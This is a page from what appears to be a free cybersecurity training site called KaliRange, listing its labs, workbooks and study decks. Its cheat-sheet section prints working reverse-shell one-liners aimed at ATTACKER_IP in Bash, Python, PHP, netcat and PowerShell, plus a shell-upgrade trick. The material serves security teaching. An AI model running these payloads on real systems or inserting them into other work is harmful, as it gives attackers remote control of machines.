Learning Paths

Structured tracks from absolute beginner to specialist. Pick a path and work top to bottom — each tier builds on the last. Every track below is generated from the catalogue, so what you see is exactly what exists.

hands-on labs

Click any lab to open and read it right here. Organised by learning path, beginner to expert.

workbooks

In-depth study guides — click any one to read it here. Work through them at your own pace.

Cheat Sheet Library

Condensed reference notes and full networking study decks. Use them alongside the labs and workbooks for quick lookups during practice.

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash

# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xtermCopy

Networking Study Decks

Ten chapter decks, two full guides and a hands-on Packet Tracer lab covering NSSA-241 networking from zero. Each opens in its own reader — interactive slide + notebook decks with worked examples, diagrams, and matching Kali labs.

These are self-contained documents with their own layout and slides⇄notebook view switcher, kept exactly as authored and opened in a new tab.

Learn to Code.
From Absolute Zero.

No experience needed. Pick any language, start at Chapter 1, and work through structured workbooks paired with hands-on labs. Real code. Real projects. No fluff.

Search labs & workbooks

My Notebook

Your private study notes — rich text, diagrams, tags, and spaced revision. Only you can see these.

Admin dashboard

Tools

Free security tools in the KaliRange theme. Sign in to download.

Go from Zero to Hacking in Three Steps

No setup headaches. No subscription. Just open a browser and start.

Legal & Policies

The terms that govern your use of KaliRange. Please read them — especially the Acceptable Use Policy.

Built by a Practitioner, for Practitioners.

KaliRange is a place to actually practice cybersecurity — not just watch videos or read textbooks.

The Mission

KaliRange was founded by Uzair Varsaji with a single mission: give people a place to actually practice cybersecurity — not just watch videos or read textbooks.

Every lab, workbook, and note here is designed to be hands-on. You'll run real commands, crack real hashes, analyze real traffic, and build real skills that translate directly into the field.

135 labs. 79 workbooks. 14 structured learning tracks from beginner to expert. And it will always be completely free.

How to Use It

Pick a learning path that matches where you are, then work each track top to bottom — Start Here, Build Your Skills, Go Advanced. Brand new to programming? Begin in Coding. Need a quick lookup mid-lab? The Cheat Sheet Library has you covered.

Uzair Varsaji

Founder, KaliRange